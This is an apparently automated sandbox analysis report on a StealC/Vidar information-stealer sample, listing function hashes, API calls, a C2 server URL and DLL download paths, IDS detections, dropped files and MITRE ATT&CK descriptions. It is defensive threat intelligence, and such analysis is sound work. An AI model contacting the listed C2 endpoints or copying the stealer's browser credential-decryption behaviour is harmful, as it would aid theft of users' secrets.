String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 79d64a5e9bfd5acee9acfad0be82f1304c87009e756342bde1323c912f446a4a
Instruction ID: 436df16fc93eed1978f03a02baf249ac13a0d6d53f1754ae5f7f036f8d3690fe
Opcode Fuzzy Hash: 79d64a5e9bfd5acee9acfad0be82f1304c87009e756342bde1323c912f446a4a
Instruction Fuzzy Hash: 91F05935208280CBDB00ABA9C890AD37372935331CF04C165C89146F61DB25E917CF9F

Function 6C5D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C42

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C58

Strings

0K`l, xrefs: 6C5D6C33, 6C5D6C41, 6C5D6C57

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K`l
API String ID: 1967447596-2354643784
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: eadacf5e47c3d45c033a75d1978b4625e691ca2ddcea51c646d783483cb848f6
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 60E026F1A113004ADB08D8BCAC0952A72C8CB342A87054E35E822C2BE8FF14F8418059

Function 6C61B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B628

Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C6190FF
Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C619108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C61B127,?,?,?,?,?,?,?,?), ref: 6C61B74D

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d2ba243b04c091532758b14435429ab57442d975f8d413df6fbc1fe274fb2ae7
Instruction ID: 8b43c90181251cd90142f7e1b964ab0568fd3cc4649651b4d627e6c8b5eb0250
Opcode Fuzzy Hash: d2ba243b04c091532758b14435429ab57442d975f8d413df6fbc1fe274fb2ae7
Instruction Fuzzy Hash: 0C51C2B1A092158FDB14CF1DC98075EB7B5FFC530AF55852DC85AABB10D731A804CBA9

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.phpser	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	URL Reputation: Label: malware

Source: 0.2.file.exe.1000000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.1000000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01009B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_01009B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0100C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01007240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_01007240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01009AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_01009AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01018EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_01018EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C5D6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJDGIEHCAEHIEBFBKKK

C:\ProgramData\CFIEBKEHCAKFCBFIDAAKJDAAFC

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

C:\ProgramData\DGCAAAFC

C:\ProgramData\ECGHCBGCBFHIIDHIJKFB

C:\ProgramData\EGDAEBGI

C:\ProgramData\IJKFCFHJDBKKFHIEHIDGCFCAEB

C:\ProgramData\JEHDHIEGIIIDHIDHDHJJKJKJJD

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 01019860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 010045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 01005100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 0100BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C5C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 01014910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 01019C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 01007710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre